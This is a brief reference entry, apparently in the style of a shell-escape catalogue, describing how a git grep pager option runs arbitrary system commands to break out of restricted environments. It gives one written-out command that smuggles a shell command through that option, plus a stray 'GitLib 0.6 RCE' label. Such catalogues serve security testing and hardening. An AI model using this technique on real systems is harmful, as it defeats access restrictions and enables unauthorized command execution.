It can be used to break out from restricted environments by running non-interactive system commands.
This vector requires to be in a valid Git repository and a single positional argument.
git grep '--open-files-in-pager=id>/tmp/foo;' .
GitLib 0.6 RCE